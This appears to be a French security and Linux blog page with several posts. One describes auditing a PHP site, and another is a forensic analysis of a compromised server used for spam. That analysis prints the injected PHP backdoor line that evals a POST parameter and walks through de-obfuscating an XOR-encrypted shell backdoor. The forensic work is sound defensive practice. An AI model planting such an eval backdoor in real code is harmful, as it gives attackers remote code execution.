photo of devloop

devloop :: blog

sécurité informatique, programmation, Linux et plus encore

Subscribe to RSS feed

Histoire d'un audit de code PHP

,

Voici un petit article sur une aventure arrivée l'année dernière, histoire de remplir ce blog un peu calme p

Être le développeur de Wapiti amène parfois à recevoir des emails de demande d'aide soit dans l'utilisation du logiciel en question, soit directement sur la sécurisation d'un site Internet (auquel cas, souvent après une intrusion).

C'est de cette manière que l'administrateur d'un site très fréquenté avait pris contact car il tentait de scanner son site avec Wapiti pour découvrir comment des pirates étaient parvenus à pénétrer son site.
Lancer un scan sur un site en production n'est pas la meilleure idée, aussi j'ai spontanément proposé d'auditer le site concerné.

Je ne peux pas donner l'identité exacte des protagonistes dans cette histoire mais je ne résiste pas à vous donner un indice croustillant sur ce site dont les logs Apache gonfle d'environ 1Go toute les heures.

Pas trop chaud pour donner un accès sur son code, l'administrateur m'a d'abord donné un accès sur une version de dév du site avant de finalement me donner le code PHP.

L'audit en boite noire (et à la mano comme un véritable artisan p ) m'a permis de rapidement déceler quelques vulnérabilités, en particulier une faille SQL via le cookie. Le tout dans une fonction appelée sur chaque script PHP du site et à de très nombreuses reprises, autant dire que mélangé à un appel à la fonction BENCHMARK on pouvait facilement mettre le serveur à genoux.

J'ai ensuite trouvé quelques failles SQL dans des urls (paramètre numérique non filtré) et quelques XSS (stored ou pas).

Dès que j'ai eu accès au code PHP j'ai pu passer à la vitesse supérieure et trouver des failles amusantes (un mécanisme de captcha qui permettait de faire supprimer n'importe quelle image png du site).

Ça m'a surtout permis de me faire une idée de la qualité du code PHP, car on sait tous à quoi peut ressembler le code PHP dans le pire des cas. Et justement on était globalement dans ce cas là.

Par où commencer ? Pas d'utilisation de système de template pour séparer le PHP du HTML, l'indentation pas toujours utilisé (on ne sait plus si on est dans une fonction), des fichiers de presque 1000 lignes de code (c'est tellement mieux de refaire les même instructions plutôt qu'une petite fonction).

Ajoutez à cela que le site devait être codé par des développeurs débutants qui ne se sont jamais concertés et vous imaginez le bazar !
Chacun semble avoir sa méthode pour s'assurer qu'une valeur est bien numérique : cast en int, utilisation de intval ou encore de is_numeric, bref rien d'uniforme.
Pour un des développeurs, la méthode à utiliser était la suivante :
$id=intval(0+$_GET["id"]);


Afin de déterminer si un code doit afficher un formulaire ou traiter son envoi, l'utilisation très maladroite de isset() était faite avec par exemple $_GET['lang'], $_POST['lang'] ou dans certains cas $_REQUEST['lang']. Une impression de déjà vu qui donne l'impression que la même variable est initialisée à plusieurs endroits sad

En lisant le code on sent que les développeurs ne savent pas exactement quel chemin leurs variables vont prendre et au lieu d'utiliser de simples valeurs booléenes pour se frayer un chemin dans les blocs conditionnels ils passent leur temps à effectuer les même vérifications sur la présence de clés dans $_GET ou $_POST.

Au final on peut voir ceci dans le code :
if (isset($_POST["uid"]) && isset($_POST["act"])) {
    if (isset($_POST["uid"])) $id=(int)($_POST["uid"]);


Ça se passe de commentaire p

Il suffirait de deux choses pour améliorer fortement la qualité et la sécurité du code :


Déjà avec ça le code deviendrait lisible et les erreurs stupides devrait sauter aux yeux des développeurs p

Opera passe à WebKit

Les rumeurs étaient donc fondées : Opera a annoncé abandonner Presto pour passer à WebKit.

Un changement que je trouve personnellement positif puisque dernièrement Opera (avec les versions 12.*) n'était plus ce qu'il était.
Par le passé il était souvent le précurseur en matière de standards mais dernièrement toutes les nouveautés (WebGL, HTML5 etc) nous viennent de Chrome, voir de Firefox.
Les développeurs ayant l'air dépassés, les bugs restent d'une version à l'autre, l'abandon du moteur de rendu permettra à Opera de se concentrer sur les fonctionnalités du navigateur smile

Vivement la prochaine version.

Un mythe s'effrondre

Aujourd'hui en me rendant sur un article du site LinuxToday traitant de MySQL j'ai été invité par le message d'erreur suivant :

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][TCP/IP Sockets]SQL Server does not exist or access denied.
/LM/W3SVC/1191723603/ROOT/global.asa, line 191



C'est bien triste sad Mais ça explique peut être les mauvaises performances du site p

So what ?

Aujourd'hui, lors de la connexion à mon compte GMail, j'ai obtenu le message d'avertissement suivant :

Avertissement : Il se peut que des pirates informatiques soutenus par un État tentent d'accéder de manière non autorisée à votre compte ou à votre ordinateur.



Je trouve dommage qu'aucun détail supplémentaire sur la source potentielle de cette potentielle ("il se peut") attaque ne soit donné à l'utilisateur...
La vérité est ailleurs spock alien ninja

Vim : mettre du texte en minuscule suivant une expression régulière

Vim permet de faire rapidement tout un tas de taches extraordinaires et après des années utilisations on peut être encore émerveillés par ses capacités smile

Récemment j'ai du passer en lowercase certains mots correspondant à une regex donnée dans un script SQL.
La commande pour faire cette opération était la suivante :

:%s/DB_[A-Z0-9_]\+/\L&/g


Elle permet de passer en minuscules tous mots composés de caractères alphabétiques majuscule, de chiffres et du symbole underscore qui commencent par "DB_".
Dans la seconde partie de cette commande (qui correspond au remplacement) on remarque la présence du \L indiquant de passer en minuscule, suivi du caractère & qui indique d'effectuer l'opération sur l'ensemble de la séquence qui "match" l'expression régulière.

Pour le reste le caractère g en fin de ligne indique qu'il faut remplacer toutes les occurrences d'une ligne donnée (et pas seulement la première occurrence) et le % au début indique de traiter toutes les lignes (donc avec ces deux cas on traite l'ensemble du fichier)

Plus d'infos sur comment remplacer du texte sous Vim est accessible sur le wiki de Vim.

Jouer à Street Fighter 3 : Third Strike avec MAME

,

L'opération peut s'avérer difficile avec toutes les ROMs trouvables par çi et par là : il semble qu'il manque toujours un fichier.

La technique qui fonctionne consiste à récupérer la ROM (sfiii3.zip) ainsi que le fichier CHD (cap-33s-2.chd) sur cette page (section Direct Download Links).

Il faut ensuite dézipper l'archive sfiii3.zip dans un dossier, renommer le fichier sfiii3_usa.29f400.u2 en sfiii3_euro.29f400.u2 puis rezipper le dossier en lui remettant le nom sfiii3.zip.
Je n'ai pas testé mais normalement il doit être possible de renommer directement le fichier dans l'archive via le logiciel d'archivage utilisé (WinZip, WinRar, 7zip, peut importe).

Il ne reste plus qu'à placer ce fichier sfiii3.zip ainsi que le fichier CHD dans le dossier des ROMs et faire fonctionner le jeu avec MAME smile

A noter que l'archive sfiii3.zip pour être valide doit contenir 40 fichiers dont le nom est sous la forme sfiii3-simmX.X.

DVScreencast : un frontend à VLC et FFmpeg pour faire des screencast

, , , ...

Premier petit utilitaire de 2013, DVScreencast est une interface graphique codée en Python + GTK qui permet de réaliser des screencast (capture vidéo de votre écran) sous Linux à l'aide soit de VLC, soit de FFmpeg.

Le code est sous licence GPL 3 et récupérable à cette adresse.

Comme vous pouvez le voir, l'interface est très simple et se compose d'un panneau unique avec quelques boutons.
L'interface est très directive, vous choisissez le fichier vidéo où enregistrer le screencast (extension .mp4), si vous souhaitez enregistrer tout l'écran ou seulement une fenêtre puis vous lancer l'enregistrement.

En cas d'erreur, vous pouvez remettre à zéro (reset) vos choix. Les informations des boutons et leur fonctionnement changent au fur et à mesure de l'utilisation du logiciel (une fois une fenêtre choisie, le bouton de sélection de fenêtre devient grisé et affiche les coordonnées de la fenêtre concernée).

Une vidéo étant plus explicite qu'un long discours, une vidéo de démonstration est visible sur Vimeo.

La sélection du moteur d'enregistrement se fait en éditant le script (mettre soit vlc soit ffmpeg comme valeur pour "application").

Opération anti-spammeur

, , , ...

Récemment on a demandé mon aide pour analyser un serveur web sur lequel une intrusion avait vraisemblablement eu lieu puisque le serveur était exploité pour l'envoi de spam.

Ce n'est jamais agréable de recevoir du spam dans sa boite mail électronique mais se retrouver malgré soit l'expéditeur de ces messages a des inconvénients supplémentaires, en particulier se retrouver avec un serveur dont l'adresse IP est blacklistée.
Les envois de mails licites se retrouvent alors eux aussi bloqués et il est possible que certains navigateurs ou moteurs de recherche donnent un caractère néfaste aux sites hébergés sur le serveur (exemple, le message "potentiellement dangereux" que retourne Google sur certains sites).
Bref ça rend la vie difficile.

Première hypothèses

Il y avait plusieurs facteurs possibles d'intrusion, allant du brute force de compte, de la mauvaise configuration du serveur mail à une exploitation d'une faille web sur un site hébergé.

Après avoir pris connaissance de l'affaire et après pas mal de réflexion, c'est sur la troisième piste que je me suis penché.
L'envoi de mail étant effectué depuis localhost d'après les entêtes des spams et les logs du serveur mail, j'ai rapidement pensé à la fonction mail() de PHP.

Recherche du coupable

A l'aide des commandes find et grep, on obtient rapidement une liste de scripts PHP "suspects" pour notre analyse :
find /usr/local/www/ -type f -name "*.php" | xargs grep "mail(" -l

Cette recherche a effectivement permis de révéler le site concerné par l'intrusion et la présence de deux fichiers PHP laissés par un pirate.

Le premier fichier est une espèce de script RPC fait maison. Il contient tout un tas de fonctions au rôle varié.
Lors d'une requête, un switch/case sur la query string est faite et permet de déterminer quelle fonction sera appelée.
Le script dispose aussi d'une fonction get_params qui se charge d'instancier une variable pour chaque paramètre POST soumis.
Chacune des fonctions d'action se charge de récupérer et d'utiliser les variables en question dans un but précis.

On y trouve :
  • L'envoi de spam via la fonction mail()
  • Une fonction de "ping" qui retourne un identifiant (permettant au pirate de suivre l'état de ses sites infectés comme pour un botnet)
  • Une fonction de relais via fsockopen qui permet de router une requête d'envoi de spam vers un autre site infecté
  • Des fonctions permettant d'accéder à des comptes IMAP distant via le jeu de fonctions PHP imap_


On a donc retrouvé l'origine du spam smile
On trouve aussi dans les fichiers licites des lignes de code qui ont été ajoutés en début de fichier. Toutes sont faites sur le même modèle (seule le nom de la variable, qui commence toujours par la lettre p, change) :
<?php error_reporting(0);if(isset($_POST['p899458'])){eval(stripslashes($_POST['p899458']);unset($_POST['p899458']);exit();}?>


Analyse de code malicieux

Mais ce qui m'a le plus intrigué, c'était un script PHP largement obfusqué qui faisait plus ressembler le code à une variante du langage BrainFuck qu'à du PHP p

Les premières étapes du déchiffrement de ce fichier sont simples : il suffit de remplacer l'appel eval() final par un echo() et de faire interpréter le code :
php evil.php > out1.php

On obtient un code tout aussi obfusqué, à la différence que le script commence à récupérer les tableaux de paramètres HTTP ($_GET, $_POST et $_COOKIE).
On procède à la même modification (changer eval() en echo()) puis on fait interpréter ce nouveau code :
php out1.php > out2.php

Ce nouveau script contient toujours du code encodé mais on touche au but : on découvre une nouvelle fonction baptisée decrypt() qui est en fait une opération de XOR et qui prend en paramètre la chaine à décoder et une clé de déchiffrement.
function decrypt($e,$k)
{
  if(!$k) {return;}
  $el=@strlen($e);
  $kl=@strlen($k);
  $rl=$el%$kl;
  $fl=$el-$rl;
  for($o=0;$o<$fl;$o+=$kl)
  {
    $p=@substr($e,$o,$kl);
    $d.="$k"^"$p";
  }
  if($rl)
  {
    $p=@substr($e,$fl,$rl);
    $k=@substr($k,0,$rl);
    $d.="$k"^"$p";
  }
  return($d);
}

Bien sûr on ne dispose pas de la clé de déchiffrement (le pirate est prudent). On commente la fin du code et on ajoute echo($d); pour obtenir les données chiffrées.
php out2.php > data

Les données récupérées ne ressemblent effectivement à rien de connu mais le chiffrement par XOR est facilement cassable par simple analyse de fréquence d'apparition des caractères.

La première étape consiste à trouver la longueur de la chaine qui a été utilisée.
Pour cela on va émettre l'hypothèse que la longueur de la clé est de 1 caractère, puis 2, puis 3 etc. A chaque fois on découpe les données chiffrées en blocs de cette même taille.
Pour chaque bloc, on prend par exemple le premier caractère et sur cet ensemble on compte le nombre de caractères différents.
Sachant que le contenu déchiffré correspond à du code PHP (puisque passé à eval()) on sait par avance que le jeu de caractère sera quasi-exclusivement des caractères ASCII imprimables.
Qui plus est on peut imaginer que l'auteur du code a condensé on code avant de le chiffrer (retrait des retours à la ligne, des espaces) et a utilisé peu de majuscules.

Par conséquence il nous suffit de voir pour quelle taille de clé on obtient le nombre de caractères le plus petit.

Pour cela j'ai écrit le petit script Python suivant :
#!/usr/bin/python
with open("data") as fd:
  buf = fd.read()
  for key_len in range(1, 17):
    ll = [[] for __ in range(key_len)]
    nb_blocks = len(buf) / key_len
    for i in range(nb_blocks):
      block = buf[i*key_len:i*key_len + key_len]
      for j in range(key_len):
        if not block[j] in ll[j]:
          ll[j].append(block[j])
    print "nb de caracteres differents pour une longueur de", key_len, ':'
    for x in range(key_len):
      print len(ll[x])


Pour une longueur de clé de 12 caractères on voit clairement un affaiblissement dans le nombre de caractères différents (autour de 46 contre environ 95 pour les longueurs de 11 et 13).

L'étape suivante consiste à casser la clé en testant un caractère pour chaque position de la clé. Si pour un caractère donné on obtient du code imprimable correspondant à du PHP alors c'est qu'on est près.
J'ai fait un code qui m'a permis d'obtenir très grossièrement les caractères possibles (une majuscule par ici, une minuscule par là) mais je ne voulais pas me casser la tête là dessus alors je suis allé chercher un programme pour faire ça.

C'est comme ça que j'ai découvert l'excellent xor-analyze smile

Une fois ce programme téléchargé, il faut le désarchiver et le compiler :
tar zxvf xor-analyze-0.5.tar.gz
cd xor-analyze-0.5/
make

Le logiciel a un côté pédagogique amusant : pour pouvoir l'utiliser il faut compiler un programme C qui calcule des fréquences de caractère qui est lui même protégé par un chiffrement XOR.
Pour trouver la clé on utilise le fichier de fréquence fourni pour le langage C :
./xor-analyze tests/freq.c.xor freq/linux-2.2.14-int-m0.freq

On obtient le résultat suivant :
xor-analyze version 0.5 by Thomas Habets <thomas@habets.pp.se>
Counting coincidences... 20 / 20
Key length is probably 6 (or a factor of it)
Finding key based on byte frequency... 6 / 6
Checking redundancy... 100.00 %
Probable key: "keffos"

On peut donc déchiffrer le code C avec la commande suivante :
./xor-dec keffos tests/freq.c.xor freq.c

Après l'avoir compilé (gcc -o gen-freq freq.c), il faut que l'on génère un fichier de fréquence pour le langage qui nous intéresse, à savoir le PHP.
Sur ma machine j'ai le code de DVWA qui traine (pour que Wapiti se fasse les dents), on va se baser sur son code :
find /srv/www/htdocs/vuln/dvwa/ -name "*.php" | ./gen-freq > freq/php.freq

On passe alors notre mystérieux fichier à la moulinette :
./xor-analyze data freq/php.freq

Résultat obtenu :
Counting coincidences... 20 / 20
Key length is probably 12 (or a factor of it)
Finding key based on byte frequency... 12 / 12
Checking redundancy... 100.00 %
Probable key: "SjJVkE6rkRYj"

Décodage final du fichier :
./xor-dec SjJVkE6rkRYj data final.php

Ce fichier est clairement une backdoor laissée par le pirate qui lui permet d'exécuter des commandes via les commandes exec/system/passthru et compagnie (le code choisi la première disponible).
Il y a aussi une fonction de téléchargement très basique nommée x_superfetch qui se base sur fsockopen.

Sécurisation de la scène du crime

Le suppression de l'accès du pirate a consisté à supprimer ces deux fichiers et désinfecter les autres fichiers (utilisation combinée de find, xargs et sed).
Une analyse du site n'a pas révélé de failles de sécurité qui aurait permis au pirate de placer ses fichiers. Le pirate ayant son accès de longue date (d'après les dates de fichier + les logs HTTP disponibles), il a vraisemblablement exploité une faille dans une ancienne version du site.

La recommandation a été faite de désactiver les fonctions PHP étant considérées comme dangereuses avant d'éviter que ce type d'incident se reproduise.

PS: Le pirate utilisait systématiquement soit des relais Tor soit des VPN afin de dissimuler son IP

Récupération de données et secteurs défectueux

, , ,

Un disque dur récalcitrant

On m'a apporté il y a quelques temps un disque dur dans l'optique de récupérer les données présentes dessus et de voir ce qui était "réparable".

Le propriétaire du disque dur externe avait passé le disque a un ami et lorsque le disque lui a été retourné des problèmes de lecture sont apparues : programmes et système d'exploitation qui se fige par moment, impossibilité de regarder des films ou écouter de la musique en entier, plantage de programmes etc.

Le disque dur a une très légère fissure à son bas, à côté du port mini USB, qui pourrait être les conséquences d'un choc. Le propriétaire n'ayant pas le souvenir de cette fissure, on peut supposer qu'elle est apparue récemment à moins qu'il n'y ait pas prêté attention mais ce n'est pas l'objet de cet article smile

Une fois branché sur mon système openSUSE + LXDE, le gestionnaire de fichier détecte le disque et propose de monter le volume. Cela me permet de découvrir la marque ainsi que la capacité du disque qui n'étaient mentionnées nul part. Il s'agit d'un disque externe Cibox de 320Go.

Je constate rapidement par moi même les difficultés de lecture du disque, m'obligeant à le débrancher (le démontage via umount n'aboutit pas).

Récupération des données

Mon premier réflexe (et après coup c'était le bon), a été de faire une image du disque (une copie bit à bit) avec dd_rescue.
Ce programme fait la même chose que la commande dd sous Linux, mis à part qu'il ne s'arrête pas s'il rencontre des erreurs sur le disque.
Il copie les blocs du disque les un après les autres, et si un bloc lui pose problème, il diminue petit à petit la taille du bloc qu'il essaie de lire jusqu'à récupérer quelque chose (ou non, dans ce cas là il passe au bloc suivant).

On utilise dd_rescue en lui passant simplement le chemin du périphérique puis le nom du fichier ou écrire l'image disque :
dd_rescue /dev/sdc /data/cibox-320go


Bien sûr il faut disposer sur son disque d'un espace libre supérieur à la taille du disque à copier p
L'opération peut prendre un certain temps, en l'occurrence elle a durée 48 heures.

A mon grand étonnement, l'image du disque était parfaitement montable via le périphérique loop :
mount -o loop,ro /data/cibox-320go /media/

Cela a permis de récupérer très facilement une bonne quantité de fichier, par simple copier/coller vers une clé USB fourni par le propriétaire.
Malheureusement, certains dossiers apparaissaient vide alors qu'ils devaient contenir d'autres fichiers.

Pour en récupérer d'avantage, j'ai soumis l'image disque à PhotoRec. Ce programme est capable de retrouver des fichiers supprimés en utilisant des techniques propres aux systèmes de fichier ou en se basant sur le format des fichiers (entêtes).
Pour récupérer des données à placer dans le dossier /data/recup, j'utilise la commande suivante :
photorec /d /data/recup /data/cibox-320go

Il suffit ensuite de suivre les instructions.

PhotoRec récupère généralement plus de fichiers que ce que l'on souhaite. Par exemple j'ai récupéré beaucoup de miniatures de pochettes d'album qui étaient générées par le programme multimédia utilisé par le propriétaire.
Avec la commande find on peut faire en sorte de supprimer les images jpg faisant moins d'une certaine taille :
find /data/recup -type f -name "*.jpg" -size -15k -exec rm {} \;


Une fois les fichiers filtrés, la récupération était finie. Il était temps de voir si on pouvait encore faire quelque chose du disque bien que un disque qui commence a avoir des secteurs défectueux n'est jamais bon signe.

RIP le disque dur, 2012-2012

En théorie, lors du formatage d'un disque, le programme de formatage détecte ces secteurs défectueux et les "marque" pour ne pas les utiliser. On peut donc en théorie créer un système de fichier en évitant ces secteurs.

J'ai tenté de le formater en NTFS via mon système GNU/Linux puis Windows 7 sans résultat (commande n'aboutit pas ou abandonne).
J'ai alors pensé le reformater en FAT32 comme il l'était déjà. La commande mkdosfs permettant de spécifier via l'option -l un fichier texte contenant la liste des secteurs défectueux.

On génère cette liste via la commande badblocks sous Linux.
Dans le cas de ce disque, l'opération a pris plus d'une semaine et n'a pas aboutit. Comprendre par là que badblocks a détecté des milliers d'erreurs sur le disque. Il est bon pour la poubelle.

Le coupable cours toujours

Plusieurs causes possibles sur ce crash disque : soit il a effectivement subit un choc, soit il s'est détérioré "de lui même". Impossible à dire.
J'ai recherché des avis sur les disques dur Cibox et n'ai rien trouvé de bien méchant mais force est de constater via leur site Internet que c'est une marque très orientée grand public et quelle souligne plus le look de son produit que ses performances ou sa fiabilité (pour un disque dur c'est mauvais signe) :

Design sobre, ultra léger, belle finition, couleurs éclatantes, que demander de plus?



La récupération des données s'est révélée plutôt simple et intéressante en revanche toute tentative de donner une seconde vie au HDD a échouée.

Opera le bol ?

Depuis les rumeurs du rachat d'Opera par Facebook on a un peu l'impression que le développement du navigateur part en sucettes.

On a la net impression que la qualité du logiciel diminue au fur et à mesure des versions depuis que l'on est entré dans la branche 12.*.

Pendant un bon moment, alors que la version 12.00 venait de sortir, Opera Software nous a fait miroiter la sortie d'une version 12.50 et ce jusqu'à début septembre.
Une version Opera-Next (terme officiel utilisé par la compagnie) qui était plutôt une bonne surprise.

On espérait donc parvenir à cette version rapidement mais à la place on a eu une version Opera 12.02 suivi un développement effréné pour sortir une version 12.10 le 5 novembre.

Cette version qui introduit le support du protocole SPDY est sensée améliorer le chargement des pages sur les services Google... Au lieu de ça c'est un cauchemar : lenteurs de chargement et parfois impossible de se connecter à GMail sad

Qui plus est, le copier/coller ne fonctionne pas sur certains systèmes (constaté sous Windows et OSX) car le texte sélectionné se dé-sélectionne tout seul dès qu'on relâche le bouton gauche de la souris ^_^
Cela force à faire des manipulations bizarres pour une fonctionnalité standard qui ne pose normalement aucun problème.

Le 7 novembre (soit deux jours après), Opera sort une version 12.11 via son blog desktopteam avec un billet intitulé Tired of 12.10 already?
On ne sait pas trop comment on doit le prendre...

Le problème est que cette version 12.11 est une version de snapshot, c'est à dire que les personnes qui veulent télécharger Opera via opera.com auront droit à une version 12.10 avec un support des services Google buggé et un copier/coller qui ne fonctionne pas correctement.

Bref de quoi dégouter les nouveaux utilisateurs comme les anciens. Opera a tout intérêt à sortir rapidement une nouvelle version stable pour limiter les dégâts.
On est bien loin de l'époque où j'avais un véritable engouement pour ce navigateur et je conseillerais aux personnes de se tourner vers Chrome ou Firefox plutôt que de télécharger Opera dans sa version 12.10.